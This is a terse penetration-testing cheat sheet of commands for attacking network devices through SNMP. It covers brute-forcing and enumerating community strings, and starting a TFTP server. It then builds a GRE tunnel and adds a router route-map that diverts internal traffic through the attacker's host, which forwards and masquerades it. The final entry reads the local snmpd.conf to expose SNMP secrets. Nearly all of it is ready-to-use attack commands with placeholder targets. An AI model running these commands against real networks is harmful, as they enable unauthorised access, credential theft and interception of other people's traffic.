SNMP Get
snmpcheck -t <ip-address> -c <community-string>
Brute Force Community String
snmpbrute -t <ip-address>
SNMP Walk
snmpwalk -v 2C -c <community-string> <ip-address>
Start TFTP Server
service atftpd start
create GRE tunnel
modprobe ip_gre iptunnel add mynet mode gre remote <target> local <tun0> ttl 255 ip addr add 172.16.0.3/24 dev mynet route add -net 172.16.0.0 netmask 255.255.255.0 dev mynet ifconfig mynet up
Redirect all traffic through GRE tunnel
route-map divert permit 10 match ip address 102 set ip next-hop 172.16.0.3 fe 1/0 (internal interface) ip policy route-map divert
Setup Host to Catch GRE Tunnel
echo 1 > proc/sys/net/ipv4/ip_forward route add -net 10.200.0.0 netmask 255.255.255.0 gw 172.16.0.1 iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface mynet -j ACCEPT
View Local SNMP Secrets
cat /etc/snmp/snmpd.conf